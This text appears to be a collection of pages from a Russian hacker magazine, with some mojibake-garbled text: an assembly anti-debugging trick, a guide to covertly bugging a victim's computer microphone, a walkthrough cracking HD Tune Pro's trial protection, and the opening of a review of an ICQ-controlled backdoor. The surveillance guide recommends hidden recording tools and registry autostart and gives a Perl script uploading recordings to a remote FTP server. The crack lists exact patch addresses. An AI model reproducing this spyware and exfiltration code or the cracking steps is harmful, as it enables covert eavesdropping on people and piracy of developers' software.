не оригинальная инструкция, а машинный код, 
которым она была перезаписана. 
Эта особенность была изменена в процес-
сорах Pentium и старше. Несмотря на это, 
команды MOVS и STOS с префиксом REP 
продолжают кэшироваться. Следовательно, 
они выполняются даже в том случае, когда 
произошла их перезапись. В нашем случае 
процессор выполняет очистку очереди пред-
варительной выборки и выполняет операцию 

«RET». Эту особенность можно использовать 
в антиотладочных целях. Код, написанный 
нами, будет дробить любые попытки пошаго-
вой отладки приложения.
Будем изучать действие кода на примере 
программы, рассмотренной выше. Перед 
внедрением защитного кода изменим 
точку входа программы на 0x401026, где 
он и будет размещен (используй LordPE). 
Откроем программу в OllyDbg и дополним 
ее кодом:

00401026  PUSH 00401000

0040102B  CALL 00401035

00401030  REP STOS WORD PTR ES:[EDI]

00401033  NOP

00401034  NOP

00401035  MOV AL,0C3

00401037  MOV EDI, 00401035

0040103C  MOV ECX, 0FCA

00401041  REP STOS BYTE PTR ES:[EDI]

Что произойдет, если программа, изме-
ненная подобным образом, выполнится 
обычным способом (вне отладчика)? Анти-
отладочный код работоспособен, так как 
вновь записанная инструкция RET, ведущая 
к  REP STOS WORD PTR ES:[EDI], выполнится 
только после обнуления регистра ECX,  ведь 
очередь предварительной выборки не будет 
очищена.

Итак, вот как действует операционная сис-
тема, выполняя набор инструкций:
1. Помещение в стек адреса 00401000.
2. Вызов кода, размещенного по адресу 
00401035,  и, соответственно, помещение в стек 
адреса 00401030. Это естественно, так как в мо-
мент вызова автоматически сохраняется адрес 
инструкции, следующей за командой «call», 

которая инициировала вызов.
3. Инициализация инструкции цикла «REP 
STOS» — в регистры будут помещены необходи-
мые данные. 
4. Выполнение инструкции «REP STOS» до пол-
ной отработки цикла (обнуление ECX).
5. Выполнение инструкции «RET». Инструкция 
REP STOS WORD PTR ES:[EDI], расположенная 
по адресу 0x401030, выполнена не будет, так как 
регистр-счетчик ECX будет содержать нулевое 
значение.

6. Выполнение возврата по адресу 0x401000, 
помещенному в стек ранее.

Естественно, все выполнится без заминок. 
А вот что произойдет, если программу будет 
отлаживать реверсер: 
1. Помещение в стек адреса 0040100.
2. Вызов кода, размещенного по адресу 
00401035, и, соответственно, помещение в стек 
адреса 00401030.
3. Инициализация инструкции цикла «REP 
STOS» — в регистры будут помещены необходи-
мые данные.
4. Выполнение инструкции «REP STOS» до 
момента перезаписи кода — очередь предвари-
тельной выборки будет очищена.
5. Выполнение инструкции «RET». Инструкция 
REP STOS WORD PTR ES:[EDI], расположенная 
по адресу 0x401030, выполнится, так как ре-
гистр-счетчик ECX будет содержать значение, 
отличное от нулевого.
6. После того, как EDI достигнет значения 
0x402000, произойдет исключение — ошибка 
записи в память («Access violation when writing 
to…»).
Программа уйдет в штопор, что вряд ли обраду-
ет крякера :). Почему выполнение инструкции 
REP STOS WORD PTR ES:[EDI] (говоря проще, 
«REP STOSW») при ненулевом значении ECX 
приводит к краху? Чтобы понять это, разберем 
механизм действия команды «STOS». «STOre 
String» — команда, которая помещает по адресу, 
указанному в регистре EDI, байт, слово или 
двойное слово (для его указания используется 
регистр EAX или его части) и автоматически 
корректирует значение адресного регистра 
EDI.  Команда «STOSB» использует в качестве 
операнда значение регистра AL, а инструкция 
«STOSW» — регистра AX.
Значит, при выполнении инструкции REP 
STOSW будет задействован регистр AX. 
Следовательно, адресный регистр (EDI) будет 
корректироваться не на 1 байт, а на 2, что при-
ведет к достижению им критического значения 
0x402000. Выполнение программы станет 
невозможно.z

ИЗМЕНЯЕМ ТОЧКУ ВХОДА 
ПРОГРАММЫ

«БРАТ-БЛИЗНЕЦ» OLLYDBG — 
«ПИТОНОВЫЙ»  IMMUNITY

«СОБИРАЕМ» ФАЙЛ ПРОГРАММЫ ПРИ ПОМОЩИ MASM32

ЕСТЕСТВЕННО ПРЕДПОЛОЖИТЬ, ЧТО ВЫ-
ПОЛНЕНИЕ КОДА ДОЛЖНО ОСТАНОВИТЬ-
СЯ СРАЗУ ПОСЛЕ ТОГО, КАК ИНСТРУКЦИЯ 
REP STOSB БУДЕТ ПЕРЕЗАПИСАНА.
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Подслушиваем обстановку вокруг компьютера

ТРОЯНСКИЙ 
МИКРОФОН

ВЫ ГОВОРИТЕ — 
МЫ СЛУШАЕМ
Чтобы ты понял смысл происходящего, я 
начну с теории. В основе любого удаленного 
прослушивания лежит два основных момента:

1. Çàïèñü 

2. Ïåðåäà÷à çàïèñàííîãî

Как ты понимаешь, любой компьютеропо-
добный девайс, в том числе и ноут/КПК/
нетбук/etc, способен соответствовать 
обоим пунктам, но при выполнении ряда 
условий:

1. Íàëè÷èå óñòðîéñòâà çâóêîçàïèñè

2. Íàëè÷èå óñòðîéñòâà ïåðåäà÷è 

äàííûõ

В первом случае идеально подойдет микро-
фон, который по дефолту входит в конфигура-
цию большинства мобильных устройств, а во 
втором — 3G/EDGE-модем, либо Wi-Fi-модуль. 
Я думаю, ты уже понял, к чему я клоню — для 
прослушки помещения требуется лишь комп 
(ноутбук) с подключенным к нему микрофоном 
и модемом. Согласись, подобные требова-
ния далеко не экзотичны, и основная масса 
девайсов будет им соответствовать. А значит 

— мы сможем услышать то, что нам совсем  не 
предназначалось :).
Справедливости ради отмечу, что идея не 
нова и обладает рядом недостатков. Во-пер-
вых, качество звука напрямую зависит от 
звукозаписывающего устройства: ожидать от 
среднестатистического китайского микро-
фона чувствительности в радиусе десятка 
метров не стоит. Во-вторых, нам потребуется 
софт, способный скрытно работать в системе, 
вести звукозапись и отсылать записанное 
нам. И, наконец, все это чертовски противо-
законно, поэтому советую рассмотреть идею 
лишь в теории. Впрочем... если закрыть на 

Ты любишь общаться в скайпе или других голосовых клиентах? А мо-
жет быть, в твоем ноуте или компе микрофон входит в стандартную 
конфигурацию? Казалось бы, что в этом плохого? На первый взгляд — 
ничего, но, поверь мне — тебя слушают, брат. Давно слушают!

ОТКЛЮЧАЕМ НЕИСПОЛЬЗУЕМЫЙ МИКРОФОН
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все эти пункты глаза, то реализовать задуман-
ное не так сложно, как кажется :).

РЕАЛИЗАЦИЯ ИДЕИ, ИЛИ 
ПРОСЛУШКА В ДЕЙСТВИИ
С теоретической частью разобрались, наста-
ло время перейти к практике. Начнем мы, как 
водится, с краткого плана действий. Итак, нам 
потребуется:

1. Ïðîèçâîäèòü çâóêîçàïèñü â ôîíî-

âîì ðåæèìå ñ èñïîëüçîâàíèåì óñòà-

íîâëåííûõ â ñèñòåìå çâóêîçàïèñûâàþ-

ùèõ óñòðîéñòâ (åñëè òàêèå èìåþòñÿ)

2. Ñîõðàíÿòü àóäèîçàïèñè

3. Ïîëó÷àòü àóäèîçàïèñè (íàïðèìåð, 

÷åðåç ñâîé ftp-ñåðâåð)

Кроме того, при написании полноценного ав-
томатизированного софта, следует учитывать 
ряд важных моментов. А именно:

• Àâòîìàòè÷åñêèé çàïóñê ïðè çàãðóç-

êå ÎÑ

• Ñêðûòàÿ ðàáîòà â ñèñòåìå

Дабы не сбиться с намеченного курса, сразу 
перейдем к первому пункту — осуществле-
нию скрытой звукозаписи. Если кодингом ты 
занимаешься не первый день, то набросать 
подобную утилу тебе не составит особого 
труда. В противном случае — можно запросто 
заюзать уже готовый софт, не изобретая при 
этом велосипед :). Специализированных утил 
подобного рода мне встречалось лишь две — 
MicSpy от SLESH'а и MicSpy++ от Nightmarе. 
Несмотря на схожесть в названиях, отличия 
в функционале присутствуют, поэтому мы 
подробно ознакомимся с каждой из софтин. 
Начнем по порядку, то есть с MicSpy.

• Óòèëà íàïèñàíà íà äåëôè

• Ðàçìåð óïàêîâàííîãî exe'øíèêà — 

îêîëî 8 Êá

• Çàïèñûâàåò çâóê â ôîðìàòå mp3

• Ñæàòèå — 24 ÊÃö

• Áèòðåéò — 32 Êáèò/ñåê

• Èñïîëüçóåò äåôîëòîâûé âèíäîâûé 

êîäåê MPEG LAYER-3

• Ãåíåðèðóåò èìåíà ôàéëîâ ïî ìàñêå: 

ãîä_ìåñÿö_äåíü_÷àñ-ìèíóòû-ñåêóíäû

НЕ СПАСАЕТ ПОЛОЖЕНИЕ ДАЖЕ ВЫПОЛНЕНИЕ ПРОГРАММЫ ПО <F9>

УТИЛ ПОДОБНОГО РОДА МНЕ ВСТРЕЧАЛОСЬ 
ЛИШЬ ДВЕ — MICSPY ОТ SLESH'А И MICSPY++ 
ОТ NIGHTMARЕ.

MICSPY++ ОТ NIGHTMARЕ В ДЕЙСТВИИ



• Åñòü âîçìîæíîñòü óïðàâëåíèÿ óòè-

ëîé ÷åðåç web-èíòåðôåéñ

• Ñêðûòàÿ ðàáîòà â ñèñòåìå

Как ты уже понял, основной особенностью 
утилы является возможность рулить всем 
через web-админку. Это позволяет:

• Íà÷èíàòü/îñòàíàâëèâàòü çàïèñü

• Îòîáðàæàòü ñïèñîê âñåõ çàïèñàííûõ 

ôàéëîâ

• Óäàëÿòü çàïèñè, âûáîðî÷íî

• Ñêà÷èâàòü çàïèñè, âûáîðî÷íî

Админка запускается автоматически, 
затем коннектиться следует на порт 4545, 
(например, http://127.0.0.1:4545). При ис-
пользовании утилы отпадает надобность 
писать дополнительную программную 
часть для передачи записанных файлов, 
ибо админка прекрасно справляется с 

этой задачей. Однако не стоит забывать, 
что заюзать web-интерфейс получится 
лишь в случае, если у жертвы есть стати-
ческий выделенный IP. Увы, но большинс-
тво мобильных девайсов с 3G/EDGE-мо-
демами и Wi-Fi-карточками, скорее всего, 
останутся не у дел. Теперь рассмотрим 
утилу MicSpy++. Из интересующих нас 
особенностей можно выделить:

• Ñîâìåñòèìîñòü ñ Windows NT (2000/

XP)

• Èñïîëüçîâàíèå ñòàíäàðòíûõ êîäåêîâ 

è ôîðìàòà wma â Windows NT

• Ñæàòèå — 32 ÊÃö ïî äåôîëòó; âîç-

ìîæíî èçìåíåíèå çíà÷åíèÿ ïî ñâîåìó 

óñìîòðåíèþ

• Îãðàíè÷åíèå çàïèñè â ôàéë ïî 

âðåìåííîìó ïðîìåæóòêó (30 ìèíóò ïî 

äåôîëòó)

• Ñêðûòàÿ ðàáîòà â ñèñòåìå

Словом, MicSpy++ представляет собой функ-
циональную утилу с одним недостатком — от-
сутствие возможности передачи записанных 
файлов.
Таким образом, обе утилы подходят для реше-
ния задач из первого и второго пункта нашего 
плана, а именно — скрытая звукозапись и 
сохранение аудиофайлов. Кроме того, в ряде 
случаев прога MicSpy способна выполнить и 
третий пункт — передачу записанных файлов, 
но по http-протоколу и с известными ограни-
чениями (необходим статический выделен-
ный IP-адрес жертвы).
Переходим к рассмотрению вариантов по-
лучения аудиофайлов (собственно, без этого 
действия все вышеизложенное не имеет 
никакого смысла). Сперва определим свое 
положение относительно атакуемого девайса 
(компа/ноута/нетбука/etc). Ситуации может 
быть две:

1. Íàëè÷èå ôèçè÷åñêîãî ëèáî óäàëåí-

íîãî äîñòóïà

2. Îòñóòñòâèå òàêîâîãî

Первый случай наиболее простой, ибо при 
наличии физического либо удаленного 
доступа к машине отпадает необходимость 
в использовании дополнительного софта. 
Гораздо проще все сделать ручками по следу-
ющему алгоритму:

1. Ñîçäàíèå óñëîâèé äëÿ àâòîìàòè-

÷åñêîãî çàïóñêà óòèëû (çäåñü âñå 

çàâèñèò òîëüêî îò òâîåé ôàíòàçèè: 

áóäü òî ïîìåùåíèå óòèëû â «Àâòîçà-

ãðóçêó» èëè âíåñåíèå äîïîëíèòåëüíûõ 

çíà÷åíèé â êëþ÷è ðååñòðà)

2. Óñòàíîâêà çâóêîçàïèñûâàþùèõ 

óñòðîéñòâ â ñèñòåìå (ïðè óäàëåííîì 

äîñòóïå — âêëþ÷åíèå, ïðè ôèçè÷åñ-

êîì — ìîæíî è ìèêðîôîí÷èê õîðîøèé 

ïðèöåïèòü, íåçàìåòíî)

3. Ñáîð íàêîïëåííûõ àóäèîôàéëîâ 

(ïðè ïîìîùè êîíñîëè èëè óäàëåííîãî 

ðàáî÷åãî ñòîëà; ëèáî ñóðîâî ñêîïè-

ðîâàòü âñå íà ôëåøêó, åñëè èìååòñÿ 

ôèçè÷åñêèé äîñòóï ê äåâàéñó)

Как видишь, при наличии доступа к атакуе-
мому компу никаких лишних телодвижений 
от тебя не требуется. Но вот если доступа нет 
и получить его никак нельзя, — придется 
кодить дополнительную часть к звукозаписы-
вающей утиле, которая будет выполнять роль 
лоадера и сендера файлов. В этом случае есть 
два пути: первый — накодить полноценный 
лоадер с возможностью автозапуска, загрузки 
файлов, и т.п., а второй — использовать уже 
готовый лоадер (подойдет любой рабочий 
паблик релиз) и написать лишь небольшой 
передатчик файлов (например, на ftp-сервер). 
Так или иначе, писать передатчик файлов на 
FTP-сервер тебе все равно придется, поэтому 
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info
Не забывай о собс-
твенной безопаснос-
ти и помни, что любой 
компьютероподобный 
девайс может быть 
использован в качес-
тве средства скрытой 
звукозаписи!

INFO
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я решил немного упростить твою задачу, выложив часть 
своего Perl-сорца:

#!/usr/bin/perl

#print "==================================

=\n";

#print "= Small FTP Loader = ";

#print "==================================

=\n";

use Net::FTP;

$ftp_server = "blablabla.com"; #FTP-ñåðâåð

$ftp_user = "user"; #ëîãèí íà ftp-ñåðâåð

$ftp_pass = "password"; #ïàðîëü íà ftp-ñåðâåð

$ftp = Net::FTP->new("$ftp_server", Passive 

=> 1);

$ftp->login("$ftp_user", "$ftp_pass");

$ftp->cwd('/domains/blablabla.com');

$ftp->binary();

$ftp->mkdir("/domains/blablabla.com/logs");

opendir(LDIR, "C:\\êàòàëîã_ñ_

àóäèîôàéëàìè\\");#îòêðûâàåì êàòàëîã ñ àóäèî-

ôàéëàìè

$count=1;

while($filename = readdir LDIR){

 if($count>2){

 $ftp->put("C:\\êàòàëîã_ñ_

àóäèîôàéëàìè\\$filename","/domains/

blablabla.com/logs/$filename"); #ïåðåäàåì 

âñå àóäèîôàéëû èç êàòàëîãà íà íàø FTP-ñåðâåð

 }

$count++;

}

close LFILE;

closedir LDIR;

$ftp->quit();

Скрипт довольно прост и позволяет лишь копировать 
все содержимое конкретного каталога на удаленный 
FTP-сервер. Однако, модернизировав его и скомпилив 
в exe-файл (например, при помощи Perl2Exe), ты полу-
чишь простенький лоадер с вполне рабочим функцио-
налом.
В общем, все зависит исключительно от тебя, твоих це-
лей и средств (наличия прямых рук и светлой головы). 
Существует множество способов реализации «ком-
пьютерной» прослушки; я уже молчу о КПК, ведь софт 
под мобильные платформы никто не отменял, правда? 
А с наличием микрофонов на всех коммуникаторах и 
смартфонах проблем точно нет... но это уже совсем 
другая история.

НЕБОЛЬШОЙ P.S.
В статье я сознательно не стал раскрывать все подробнос-
ти организации прослушки в планетарных масштабах, и 
тому есть несколько причин. Во-первых, подобные дейс-
твия четко регулируются законодательством, а во-вторых, 
суть в другом. Я хотел, чтобы ты понял, насколько уязвим 
каждый из нас в повседневной жизни, и предпринял меры 
по обеспечению собственной безопасности, — контро-
лировал все звукозаписывающие и звукопередающие 
устройства в имеющейся у тебя технике. Конечно, об 
отключении микрофона в твоем мобильнике речи не идет, 
но с компом все гораздо проще :). Жертвовать ли 
удобством ради безопасности — решать тебе, но я 
надеюсь, ты сделаешь правильный выбор.z

ЗАБИРАЕМ НАЖИТОЕ :)

Утилы MicSpy 
и MicSpy++ ты 
найдешь на нашем 
диске. К первой из 
них даже прилагают-
ся сорцы.

dvd

DVD

info
Внимание! Инфор-
мация представлена 
исключительно 
с целью ознаком-
ления! Ни автор, ни 
редакция за твои 
действия ответствен-
ности не несут!

WARNING
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З
адумайся — много ли можно получить, 
сломав прогу правкой одного байта, 
особенно если это правка в стиле 
«условный переход на безусловный»? 

Наверняка, нет! И таких программ (как и рас-
тяп-программистов) большинство. Возникает 
ощущение: содружество программистов давно 
приняло такой подход как международный 
стандарт! На наше счастье попадаются исклю-
чения, когда в реализации защиты встречают-
ся просветы креативных мыслей. Дабы помочь 
в освоении приемов противостояния более 
сложным техникам защиты (в особенности, 
быстрому исследованию), предлагаю окунуться 
в эти самые элементы креативного творчества.

ВЫБОР ЖЕРТВЫ
Нет смысла описывать саму прогу HdTunePro 
3.50 — выбор продиктован лишь целью 
исследования защиты. Для начала примерно 
определимся, с чем мы имеем дело. Некоторые 
сейчас же скажут, что нужно взять PEiD и про-
верить файл на упакованность — это, конечно, 
верно, но не совсем!
Сперва необходимо просто запустить испол-
няемый файл и поверхностно проанализиро-
вать принцип работы регистрации. Создается 
окошко, вбиваются значения (сколько осталось 

дней до окончания 
триал периода), 
а в главном окне 
программы красу-
ется заголовок Trial 
version. В общем, 
надежды на быстрый 
взлом нет. Это вам не 
MessageBox! :). 

После перевода даты на три дня вперед про-
грамма посчитала, что 15 дней прошло и даже 
после установки легальной даты я оказался 
с оконченным триал-перидом. Мониторинг 
обращений к реестру и файлам также не принес 
весомого результата — программа обращается 
к слишком большому количеству элементов и 
анализировать их утомительно.
Ладно, как видно из PEiD, ничего страшного из 
протекторов нас не ожидает. Что ж, уже немного 
легче! Запускаем OllyDbg, грузим hdtunepro.
exe. Для пущей убедительности в отсутствии 
антиотладки запустим на выполнение. Видим, 
что все работает! Теперь главный вопрос — с 
чего начать? Первое, что пришло в голову — 
повторить пример взлома WinRAR 3.42 в испол-
нении Криса Касперски. Суть метода заклю-
чалась в подавлении NAG при помощи правки 
инструкции сравнения реального количества 
дней с числом 40. В нашем случае авторы ока-
зались людьми жадными, и число таких  дней 
будет 15. То есть, надо найти инструкцию cmp 
eax, 0Fh (число 15 в hexе — это F), которая нас и 
выведет к NAG. Находим и ставим бряки, ведь 
их больше чем одна (вообще, у меня их 11).
В моем случае первый бряк сработал по адресу 
00410A55, значение регистра eax возрастает 
от нуля до пятнадцати; затем бряк по адресу 

00410B32 и последний — перед всплытием 
NAG (адрес остановки будет 00410С0F). После 
нажатия «ОК» (в случае окончания триала) 
действия повторяются. Гм! Теоретически мы 
с тобой могли бы взяться за разбор именно 
с этого места, но, забегая вперед, скажу, что 
это лишь шестеренка в большой системе. Нам 
важно быстренько восстановить весь механизм 
от начала и до конца.

ИНЪЕКЦИЯ БРЯКОВ
Надо искать API, которая ответственна за 
создание самого окна NAG. 
Перебираем наиболее подходящие в спис-
ке импорта: CreateDialog с DialogBox. Таких 
нет! Значит, есть что-то другое. Окна, окна...  
Windows, CreateWindowExA (исходя из на-
звания, родственные ей API — ShowWindow, 
EnableWindow, SetWindowTextA). А, вот, такая 
есть! Основной вызов в 0045F701 с кучей пара-
метров. Здесь же видим адрес самой функции, 
в теле которой вызов — 0045F663. Есть семь 
мест, откуда она будет вызвана. Чтобы узнать, 
кто вызывает нашу функцию, по каждому месту 
вызова можно поставить бряк.
Попробуй протрассируй и убедишься, что 
функция CreateWindowExA будет вызвана два 
раза. Первый раз ты увидишь окно в верхнем 
левом углу монитора с нулевой шириной и 
длиной (возможно, это главное окно програм-
мы, которое потом при надобности, а точнее, 
при отсутствии у нас проблем с триал периодом, 
будет установлено в нормальный режим). А вот 
второе окошко — это создание NAG. Во всяком 
случае, очень похоже. Восстановим цепочку 
всего вызова с помощью инъекта бряков — на 
каждом локальном вызове функции A поставим     

Наконец-то разработчики софта стали прислушиваться к хакерам! 
Примитивные модули проверки регистрации постепенно уходят 
в прошлое. Протекторы, запутанный и разбросанный код модуля 
проверки, неявные вызовы процедур, громадное количество вызо-
вов, проверка флага трассировки и иже с ними. Это лишь примерный 
список инструментов, с помощью которых разработчики строят, по их 
выражению, мощные и непробиваемые защиты! Но зачастую реалии 
далеки от совершенства. Смотри сам.

ХАРДКОРНЫЙ 
ТЮНИНГ 
Исследование защиты HDTunePRo

КАРТА ПРОГРАММЫ:

ÍD TUNE PRO 3.50                                      TRIAL VER, 15 DAYS, NAG

(C) ELF, ICQ: 7719116 & CJ, ICQ: 3708307
Èñïîëüçîâàòü òîëüêî â ïîçíàâàòåëüíûõ öåëÿõ! 

 071 XÀÊÅÐ  09  /129/  09



 072  XÀÊÅÐ  09  /129/  09

www.hdtunepro.
com — сайт нашего 
пациента.
www.ollydbg.de 
— сайт отладчика 
OllyDbg.

links

HTTP://WWW

бряк. Запускаем программу, где бряк сработал, смотрим 
тело вызвавшей функции B и ее локальные вызовы. Также 
ставим на них бряки и запускаем опять прогу.
Вообще, смысл раскрута всей цепочки, думаю, понятен 
(конечно, более универсальный метод при большом коли-
честве вызовов и если позволяют мощности ЦП — ставить 
бряк по условию, жать <Ctrl+T> и трассировать с заходом в 
процедуры по <Ctrl+F11>). Вопрос: до какого момента все 
это крутить? Сейчас увидишь! Наша подопытная функция 
вторично будет вызвана по адресу 0045С552 в теле функции 
0045С516. У последней два возможных локальных вызова, 
из них сработал только 004158E8. Вот, кажется, и приехали! 
Последний вызов происходит в теле громадной функции 
(остальные были не более 20 строк ассемблерного кода). 
Надо бы ее просмотреть! После непродолжительного 
скроллинга вниз натыкаемся на занос в офсет указате-
ля на строку «%s (trial version)» (00415A2B). Затем будет 
вызов функции без аргументов, и потом вызов функции 
с аргументом (00415A43). Исходя из этого, замечаем, что 
строка «%s (trial version)» должна где-то всплыть. Особенно 
если есть %s, — вместо нее должно быть задано значение. А 
незашифрованные строки говорят о том, что разработчики 
думают через раз! По перекрестным ссылкам можно, как по 
бульвару, добраться до защитного механизма. Это сущест-
венно сэкономит время. Но интересные нам аргументы (Trial 
version, trial period expired) расположены достаточно далеко 
друг от друга, как по адресам, так и по ходу выполнения. Не 
очень-то удобно. Надо смотреть, что передается в аргумент 
функции (содержимое ECX). 
После вызова безаргументной функции идут инструкции 
выталкивания из стека 12 байт, затем присвоение ECX 
содержимого стека со смещением 90h и много других неин-
тересных вещей. Короче, ставим бряк на аргумент и видим, 
что в стеке по заданному смещению находится HD Tune Pro 
3.50 (trial version), что является заголовком главного окна! 
А сам CALL 00461CC9 представляет собой тривиальный 
вызов SetWindowTextA (перейди по адресу Call’а) — функ  
ции, которая и занесет новый заголовок. А функция без 
аргументов просто вставит вместо %s первичный заголовок 
окна программы. Как видишь, теперь ситуация несколько 
прояснилась. Дальше должно быть интересней! Ты сейчас 
можешь возразить — как же так, мы просмотрели самое 
интересное, выходит, что программа уже знает, что версия 
просрочена и переделала заголовок окна. Ну и что? Если 
бряки на cmp eax, 0Fh до сих пор у тебя стоят, то видно, что 
их выполнение сработает после подмены заголовка главно-
го окна. Да и вообще — кто помешает проге так же обратно 

заменить caption?
Так что — идем далее! А далее идет тривиальный вызов 
MessageBoxA с руганью об обломе пользователей с Windows 
95\98\ME… Для тех, кто хочет сделать наоборот: наградить 
юзеров этих версий поддержкой нашей исследуемой 
программы и обломать юзеров  Windows XP, Vista — нужно 
по адресу 00415A57 исправить JNE на JE. Только гарантии 
работы после этого на 95\98\МЕ я все равно не дам.

В СЕКРЕТНЫХ 
ПОДЗЕМЕЛЬЯХ
 Если мы знаем примерное место, где надо искать (а мы его 
уже знаем), то зачастую хватает визуального анализа для 
определения защитного механизма. Это сэкономит время, 
а время — деньги! Наличие комментариев (для аргумен-
тов), которыми Ольга снабдила функции, на картинке выше 
говорит нам, что call по адресу 00415A50 должен проверять 
версию OS, а call 00415A1E берет кэпшн (caption) глав-
ного окна пред тем, как приклеить туда сообщение «Trial 
Version». Видишь, тут все взаимосвязано!
Тебя в первую очередь должен заинтересовать call 
00415D30 (по адресу 00415ABE). Скорее всего, функция 
по адресу 00415D30 должна быть связана с логическими 
дисками — внизу в одном из аргументов красуется «No disk 
found» (тривиальный вызов MessageBoxA). У тебя должны 
возникнуть подозрения, что здесь будет что-то интерес-
ное. На глаза сразу попадаются несколько сравнений и  
условных переходов, вдобавок перед интересующей нас 
функцией — цепочка присваиваний (особенно интересно, 
что здесь фигурируют 1 и 0 — похоже на флаг регистрации). 
Ну и поверх у нас — операции с «trial version». Мотивации 
для детального исследования вполне достаточно. Ну, а что-
бы сделать 100% мотивацию для исследования — перейди 
по адресу 00415ABE, жми на пробел и вводи инструкцию 
JMP 00415C2B (путь назначения перехода будет call, отве-
чающий за тривиальный вызов API  EnableWindow). Готово? 
Запускай! Ну и что мы видим? :).
Упс! Недоступно ComboBox. Исправь push 0 на push 1, где 
вызов — тривиальный EnableWindow, о котором речь шла 
чуть выше. Вот теперь все. Однако на самом деле это еще 
далеко не все! Собственно, в ComboBox отсутствуют наиме-
нования твоих жестких дисков. А где они? Полминуты назад 
ты заджампил функцию их инициализации и вбивания в 
комбо! Только вот наш NAG тоже не появился! 
Догадываешься, почему так происходит? Все потому, что 
разработчики комбинировали процедуру инициализации 
логических дисков и показ NAG’а с лого окошка. Ты, конеч-

info
• Не забывай при инь-
екте бряков писать в 
комментариях, зачем 
они здесь нужны — 
иначе легко запу-
таться! 

• В прогах, наподобие 
нашей исследуемой, 
постарайся найти 
начало (инициализа-
цию формы) и конец 
(собственно NAG). 
Анализ середины и 
окрестностей даже с 
неявными вызовами 
будет намного легче.

• Держи на столе бу-
магу и ручку — состав-
лять карты программы 
необходимо для нор-
мального восприятия 
ее действий, а также 
для в быстрого поиска 
нужного тебе адреса.

INFO

ТРАССИРОВКА С УСЛОВИЕМ НЕХИТРЫЙ ТРЮК С ТРИАЛОМ

На нашем DVD-но-
сителе лежит карта… 
нет, не забытых 
пиратских сокровищ! 
Карта основных 
действий программы, 
связанных триал- 
периодом, и пос -
ледняя на данный 
момент версия 
OllyDbg.

dvd

DVD

ВЗЛОМ
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PEID В ДЕЙСТВИИ. ПРОТЕКТОРОВ И ПАКОВЩИКОВ 
НЕ НАБЛЮДАЕТСЯ

но, можешь зайти по адресу 00415D30 и начать его исследовать, но мы 
зайдем с тыла! Это быстрее и лучше. Ищи быстренько API ShowWindow, 
которая отвечает за показ NAG — у меня бряк перед показом сработал 
по адресу 00461DF3.
Единственное, на чем еще можно немного заострить внимание, это
использование EAX+1C как некоторого стандарта для передачи handle-
окна API-функциям типа EnableWindow. Естественно, для каждого окна 
будет свой идентификатор. Так, после установки заголовка главного 
окна «HD Tune Pro 3.50 (Trial Version)» содержимое EAX+1C будет пе-
ренесено в Стек (EBP-14). К моменту показа NAG здесь собственно уже 
будет хэндл окна NAG. Восстановим цепочку вызовов, конец которой 
приводит к показу логотипа окошка. Это можно сделать постановкой 
бряков на завершение функции и «single step» после его срабатывания. 
И теперь мы окажемся на инструкцию ниже команды, которая вызвала 
подопытную функцию.

00462982(00462A5E) -> 004615Ñ9(04613A) -> 00461DE5 

(00461DF3)

А вот откуда будет вызвана 00462982, мы, к сожалению, никак не узнаем, 
так как  ни один бряк не сработал :(. Впрочем, это даже никакая не ошиб-
ка! Для исправления ситуации просто ставим бряк по адресу 00462AE1 
(RET), что является концом нашей текущей функции, и после остановки 
и нажатия <F8> (пошаговой трассировки) мы и находим наш адрес 
вызова (он будет находиться на одну инструкцию выше) — 00416125 
с кодом CALL DWORD PTR DS:[EAX+0B8] или, если поставить бряк и 
подсмотреть значение, оно будет равняться «CALL 462982». Это есть 
неявный вызов функции! 
Все это используется для того, чтобы такие, как мы, не могли быстро 
восстановить место назначения вызова и, как следствие, — сорвать всю 
цепочку. Впрочем, если есть возможность, можно просто ставить бряк 
на неявный вызов и потом смотреть, что там у нас в стеке по данному 
смещению. Еще одной немаловажной деталью для тебя будет иссле-
дование условия для входа в функцию показа NAG. В большинстве 
случаев ключ к разгадке кроется именно перед прыжком с условием. Ну 
и, наконец, взгляни, где находится вызов — это тело до боли знакомой 

нам функции инициализации и вбивания в ComboBox имен логических 
дисков, которую мы заджампили в прошлый раз.

ЗАКЛЮЧЕНИЕ
Описывать все действия, которые делаются в этой нехитрой проге, 
нет нужды — уйдет целый журнал. Но ведь я тебе раскрыл самый 
главный смысл! Есть карта, а остальное можно разобрать самосто-
ятельно.
Я лишь скажу, что, несмотря на все оружие современных программеров 
по борьбе со злостными реверсерами, взлом защиты — лишь дело вре-
мени. Это непоколебимая истина. Если смотреть с одной стороны — то 
за достаточно жуткий вид кода (диапазон вызовов в теле одной функции 
ограничивается только ее длиной, неявные вызовы, ну и разбросан-
ность всего триал-модуля) разработчиков надо бы хорошенько отшле-
пать! Сколько ж машинных инструкций тратится не по назначению! Где 
она — оптимизация?
С другой стороны, такая защита тянет на уверенную тройку — запу-
танность и неявные вызовы это, конечно, неплохо, но явных противо-
действий отладчику нет, равно как вызовы из системных библиотек 
открыты, можно свободно гулять по перекрестным ссылкам. Да, плюс 
ко всему, часть функций расположена строго друг за другом, что зна-
чительно упрощает анализ. А это только на руку таким реверсерам, 
как мы.z

РАЗРАБОТЧИКИ ЛЮБЯТ ИГРАТЬ С РЕВЕРСЕРАМИ В 
ИГРУ «А ОТКУДА ВЫЗОВ ПРИШЕЛ?»

ОПРЕДЕЛЯЕМ ПОЛОЖЕНИЕ СИСТЕМНОЙ БИБЛИО-
ТЕКИ USER32 В ПАМЯТИ НАШЕГО ПРОЦЕССА

РАССТАВЛЯЕМ БРЯКИ ПО АДРЕСАМ ЛОКАЛЬНЫХ 
ВЫЗОВОВ НАШЕЙ ФУНКЦИИ

ВХОД В СЕКРЕТНЫЕ ПОДЗЕМЕЛЬЯ
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Программы для хакеров

ПРОГРАММА:ICQ BLACK DOOR ALENKA
ОС: WINDOWS 2000/XP
АВТОР:CA5PER & NEO][ACK

В повседневной работе мы часто используем 
дедики, свои или чужие — так или иначе, все 
их нужно контролировать. Способов масса 
— начиная от remote-десктопа и заканчивая 
Radmin’ом. Но как быть, если хочется иметь 
доступ к серверу круглосуточно? Регулярно 
таскать с собой ноут неудобно, но мобильник-то 
всегда в кармане :). Нет, я говорю не о реализа-
ции remote-десктопа для мобильных платформ. 
Есть способ намного проще и удобнее — утила 
«ICQ Black Door Alenka». Тулза позволяет 
управлять удаленным дедиком посредством 
ICQ-протокола, используя в качестве клиента 
обычную асю. Дабы ввести тебя в курс дела, 
рассмотрим доступные команды софтины:

- ShowDesk — îòîáðàçèòü èêîíêè ðàáî-

÷åãî ñòîëà

- HideDesk — ñêðûòü èêîíêè íà ðàáî÷åì 

